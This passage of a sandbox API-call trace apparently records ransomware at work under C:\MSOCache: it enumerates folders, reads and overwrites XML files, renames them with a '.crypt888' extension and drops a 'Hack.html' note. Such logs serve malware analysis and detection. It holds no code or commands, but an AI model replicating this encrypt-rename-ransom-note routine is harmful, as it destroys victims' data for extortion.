lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0067.178] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0067.178] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a5e8 [0067.186] FindNextFileW (in: hFindFile=0x59a5e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.187] FindNextFileW (in: hFindFile=0x59a5e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.187] FindNextFileW (in: hFindFile=0x59a5e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.187] FindNextFileW (in: hFindFile=0x59a5e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.187] FindNextFileW (in: hFindFile=0x59a5e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.187] FindNextFileW (in: hFindFile=0x59a5e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0067.187] FindClose (in: hFindFile=0x59a5e8 | out: hFindFile=0x59a5e8) returned 1 [0067.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0067.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0067.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0067.188] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0067.188] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0067.188] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a5e8 [0067.189] FindNextFileW (in: hFindFile=0x59a5e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.190] FindNextFileW (in: hFindFile=0x59a5e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.190] FindNextFileW (in: hFindFile=0x59a5e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.190] FindNextFileW (in: hFindFile=0x59a5e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.190] FindNextFileW (in: hFindFile=0x59a5e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.190] FindNextFileW (in: hFindFile=0x59a5e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0067.190] FindClose (in: hFindFile=0x59a5e8 | out: hFindFile=0x59a5e8) returned 1 [0067.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0067.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0067.191] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpFilePart=0x0) returned 0x4e [0067.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0067.191] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.193] GetFileType (hFile=0x258) returned 0x1 [0067.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0067.193] GetFileType (hFile=0x258) returned 0x1 [0067.193] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x567 [0067.193] ReadFile (in: hFile=0x258, lpBuffer=0x2ad7ae4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2ad7ae4*, lpNumberOfBytesRead=0x39ed58*=0x567, lpOverlapped=0x0) returned 1 [0067.212] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpFilePart=0x0) returned 0x4e [0067.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0067.212] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.213] GetFileType (hFile=0x258) returned 0x1 [0067.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0067.213] GetFileType (hFile=0x258) returned 0x1 [0067.213] WriteFile (in: hFile=0x258, lpBuffer=0x2b27524*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x2b27524*, lpNumberOfBytesWritten=0x39ed1c*=0x570, lpOverlapped=0x0) returned 1 [0067.214] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpFilePart=0x0) returned 0x4e [0067.214] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.crypt888", lpFilePart=0x0) returned 0x57 [0067.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0067.214] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb9428e40, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x570)) returned 1 [0067.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0067.214] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.crypt888")) returned 1 [0067.215] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0067.215] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.215] GetFileType (hFile=0x258) returned 0x1 [0067.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0067.215] GetFileType (hFile=0x258) returned 0x1 [0067.215] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x93a [0067.215] ReadFile (in: hFile=0x258, lpBuffer=0x2b291e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2b291e8*, lpNumberOfBytesRead=0x39ed58*=0x93a, lpOverlapped=0x0) returned 1 [0067.254] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0067.254] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.255] GetFileType (hFile=0x258) returned 0x1 [0067.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0067.255] GetFileType (hFile=0x258) returned 0x1 [0067.255] WriteFile (in: hFile=0x258, lpBuffer=0x2b79f1c*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x2b79f1c*, lpNumberOfBytesWritten=0x39ed1c*=0x940, lpOverlapped=0x0) returned 1 [0067.257] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.257] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", lpFilePart=0x0) returned 0x51 [0067.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0067.257] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb949b260, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x940)) returned 1 [0067.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0067.257] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.crypt888")) returned 1 [0067.258] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Hack.html", lpFilePart=0x0) returned 0x48 [0067.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0067.258] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Hack.html" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0067.259] GetFileType (hFile=0x258) returned 0x1 [0067.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0067.259] GetFileType (hFile=0x258) returned 0x1 [0067.259] WriteFile (in: hFile=0x258, lpBuffer=0x2b7c944*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x2b7c944*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0067.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0067.260] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0067.260] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0067.260] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a6e8 [0067.270] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.270] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.270] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.270] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.270] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.270] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0067.271] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0067.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0067.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0067.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0067.272] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0067.272] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0067.272] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a6e8 [0067.273] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.273] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.273] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.273] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.274] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.274] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0067.274] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0067.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0067.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0067.275] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpFilePart=0x0) returned 0x4e [0067.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0067.275] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.276] GetFileType (hFile=0x258) returned 0x1 [0067.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0067.276] GetFileType (hFile=0x258) returned 0x1 [0067.276] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x4cf [0067.276] ReadFile (in: hFile=0x258, lpBuffer=0x2b80470, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2b80470*, lpNumberOfBytesRead=0x39ed58*=0x4cf, lpOverlapped=0x0) returned 1 [0067.305] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpFilePart=0x0) returned 0x4e [0067.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0067.306] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.307] GetFileType (hFile=0x258) returned 0x1 [0067.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0067.307] GetFileType (hFile=0x258) returned 0x1 [0067.307] WriteFile (in: hFile=0x258, lpBuffer=0x2bcfb88*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x2bcfb88*, lpNumberOfBytesWritten=0x39ed1c*=0x4d0, lpOverlapped=0x0) returned 1 [0067.308] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpFilePart=0x0) returned 0x4e [0067.308] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.crypt888", lpFilePart=0x0) returned 0x57 [0067.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0067.308] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb950d680, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x4d0)) returned 1 [0067.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0067.308] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.crypt888")) returned 1 [0067.309] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0067.309] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.309] GetFileType (hFile=0x258) returned 0x1 [0067.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0067.309] GetFileType (hFile=0x258) returned 0x1 [0067.309] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x73c [0067.310] ReadFile (in: hFile=0x258, lpBuffer=0x2bd1634, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2bd1634*, lpNumberOfBytesRead=0x39ed58*=0x73c, lpOverlapped=0x0) returned 1 [0067.340] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0067.340] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.341] GetFileType (hFile=0x258) returned 0x1 [0067.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0067.341] GetFileType (hFile=0x258) returned 0x1 [0067.342] WriteFile (in: hFile=0x258, lpBuffer=0x2c21964*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x2c21964*, lpNumberOfBytesWritten=0x39ed1c*=0x740, lpOverlapped=0x0) returned 1 [0067.343] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.343] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", lpFilePart=0x0) returned 0x51 [0067.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0067.343] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb9559940, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x740)) returned 1 [0067.343] SetThreadErrorMode 